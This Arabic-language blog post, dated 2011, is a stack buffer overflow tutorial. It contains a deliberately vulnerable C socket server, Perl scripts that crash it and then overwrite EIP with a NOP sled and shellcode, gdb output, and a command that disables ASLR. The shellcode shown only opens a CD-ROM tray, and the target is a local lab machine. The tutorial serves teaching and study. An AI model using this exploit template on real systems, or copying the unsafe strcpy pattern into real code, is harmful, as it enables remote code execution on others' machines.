You are here:home»Hacking»R3mote 3xploit With C & Perl

R3mote 3xploit With C & Perl

On January 18, 2011, in Hacking, by securitymind


السلام عليكم ,,

بعد غياب طويل عن المدونة بسبب انشغالي اليوم جالسا اتصفح في الانترنت لا يوجد شيء جديد تقريبا شيء ممل
Hacking
فكرت قلت ان اكتب تدوينة بسيطة وجميلة عن الـ

الموضوع اليوم استغلال ثغرات الريموت مع السي واليبرل.!!!

الاشياء التي سيتم شرحها

2- البرنامج المصاب وتحليل البرنامج
3- استغلال الكود
4- البناء والتحليل بلغة بيرل
5- الاتصال بجهازي

لدي جهاز محمول على يساري و جهاز مكتبي على يميني ، الجهاز المحمول يستخدم الاي بي الداخلي التالي : 192.168.1.100
والجهاز المكتبي يستخدم التالي :
192.168.1.101
الجهاز المحمول في هذه الحالة هو جهاز ( المهاجم ) والمكتبي هو ضحيتنا ، الاثنان لديهما نظام تشغيل slackware 10.2
و الـ VA patch مطفأ .

لاطفاء VA patch :
echo 0 > /proc/sys/kernel/randomize_va_space

الجهاز المكتبي يحتوي على برنامج مصاب يستعمل المنفذ 7500 ونحن سنكتب له الاستغلال .

*البرنامج المصاب + تحليل البرنامج :

كود البرنامج المصاب :

server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LISTENPORT 7500

#define BACKLOG 10

#define MSG “Hello, how are you?”

int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf(“The client says \”%s\”\n”,response);

return 0;

}

int main(int argc, char * argv[]) {
int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];

//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
perror(“socket”);
exit(1);
}

//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);

//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
perror(“bind”);
exit(1);
}

//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror(“listen”);
exit(1);
}

while(1) {
//grab connections
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror(“accept”);
exit(1);
}

//log the connecter
printf(“got connection from %s\n”, inet_ntoa(client_addr.sin_addr));

//send a greeting
send(conn,MSG,strlen(MSG)+1,0);

//get the reply
recv(conn, reply, 1024, 0);

handle_reply(reply);

}

return 0;
}
—–

الكود ينتظر الناس ليتصلوا بالسيرفر ، في حالة نجاح الاتصال سيقوم السيرفر بعرض رسالة  وسينتظر المستخدم ليرد على رسالته .

الذي يستطيع ان يحتفظ بـ 1024 بايت من البيانات reply الرسالة تم وضعها في مخزن يسمى

الثغرة في دالة handle_reply() تعالوا نحللها :

handle_reply()

int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf(“The client says \”%s\”\n”,response);

return 0;

}

كما ترى مخزن الرد يتسع لـ 256 بايت من البيانات ، رسالة المستخدم ستنسخ من المخزن وسيتم عرضها على السيرفر ، مثل :

client:

telnet 192.168.1.101 7500
Trying 192.168.1.101…
Connected to 192.168.1.101.
Escape character is ‘^]’.
Hello, how are you ? fine thanks how are you ?

server:

got connection from 192.168.1.100
The client says “fine thanks how are you?

كما ترى فلا شئ مميز حدث،لكن هيا نرسل 272 بايت للمخزن لنرى ماذا سيحدث .

:perlالاستغلال/كود ، البناء والتحليل بلغة

هيا لنرسل 272 بايت الى السيرفر بلغة البيرل

كود السكربت :
send_overflow.pl

#!/usr/bin/perl

####################################################################
#
#– Send overflow (Perl version) written by Preddy
#
#   Part of Preddy’s Remote Exploitation with C and Perl tutorial
#
#   Usage: perl send_overflow.pl <ip>
#
#   Example: perl send_overflow.pl 192.168.1.101
#
####################################################################

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our payload which is 272 bytes of A (0x41,x41)
$payload = “\x41″x272;

#view a message if no ip address is given
if(!$ip)
{

die “Specify ip plz..\n”;

}

#the remote port to connect to
$port = ‘7500’;

#the connection protocol to use
$protocol = ‘tcp’;

#create the actual network connection
#and print an error message if it’s not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>’1′) || die “Could not create socket\n”;

#send the payload to the remote computer
print $socket $payload;

#close the connection
close($socket);
تعالوا لنشغل السكربت :

perl send_overflow.pl 192.168.1.101
لنرى استجابة السيرفر :

server:

bash-3.00# ./server
got connection from 192.168.1.100
The client says “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”
Segmentation fault (core dumped)

bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…Using host libthread_db library “/lib/tls/libthread_db.so.1”.

Core was generated by `./server’.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can’t read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6…done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb)
(gdb) i r eip
eip            0x41414141       0x41414141

كما ترى استطعنا الكتابة على المدخل eip

الان هيا لنبني استغلالنا

[NOPSLED – 228 bytes] + [SHELLCODE – 40 bytes] + [EIP – 4 bytes] = 272 bytes
كود :

server_exploit.pl

#!/usr/bin/perl

####################################################################
#
#– Server Exploit (Perl version) written by Preddy
#
#   Part of Preddy’s Remote Exploitation with C and Perl tutorial
#
#   Usage: perl server_exploit.pl <ip>
#
#   Example: perl server_exploit.pl 192.168.1.101
#
####################################################################

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our nopsled
$nopsled = “\x90″x228;

#our shellcode which opens the remote cd-rom drive  – 40 bytes (thanks to izik)
$shellcode =     “\x6a\x05”.              # push $0x5
“\x58”.                  # pop %eax
“\x31\xc9”.              # xor %ecx,%ecx
“\x51”.                  # push %ecx
“\xb5\x08”.              # mov $0x8,%ch
“\x68\x64\x72\x6f\x6d”.  # push $0x6d6f7264
“\x68\x65\x76\x2f\x63”.  # push $0x632f7665
“\x68\x2f\x2f\x2f\x64”.  # push $0x642f2f2f
“\x89\xe3”.              # mov %esp,%ebx
“\xcd\x80”.              # int $0x80
“\x89\xc3”.              # mov %eax,%ebx
“\xb0\x36”.              # mov $0x36,%al
“\x66\xb9\x09\x53”.      # mov $0x5309,%cx
“\xcd\x80”.              # int $0x80
“\x40”.                  # inc %eax
“\xcd\x80”;              # int $0x80

#our extended instruction pointer which we use to overwrite the remote eip
$eip = “\xf8\xf2\xff\xbf”;

#we construct our full payload here
$payload = $nopsled.$shellcode.$eip;

#view a message if no ip address is given
if(!$ip)
{

die “Specify ip plz..\n”;

}

#the remote port to connect to
$port = ‘7500’;

#the connection protocol to use
$protocol = ‘tcp’;

#create the actual network connection
#and print an error message if it’s not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>’1′) || die “Could not create socket\n”;

#send the payload to the remote computer
print $socket $payload;

#close the connection
close($socket);

هيا لنجرب السكربت :

perl server_exploit.pl 192.168.1.101

نعم !! تم فتح السي دي روم الخاص بي J

الملخص :

نحن تعلمنا كيف نبني استغلالنا ونكتبه بلغات البرمجة، امر جيد ان تتعلم المزيد عن انواع buffer overflows وطرق استغلالها وتعلم لفات البرمجة امر مفيد ايضا .

الاتصال بي :

نعم تستطيع الاتصال بي عبر :

IRC:

FREENODE: ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
MILW0RM: #milw0rm
GSO: #gso-chat
STS: #lecture,#social

Security-Mind For Tech
about author

securitymind

 

1 Responses » to “R3mote 3xploit With C & Perl”

  1. I’ve recently started a blog, the information you provide on this site has helped me tremendously. Thank you for all of your time & work.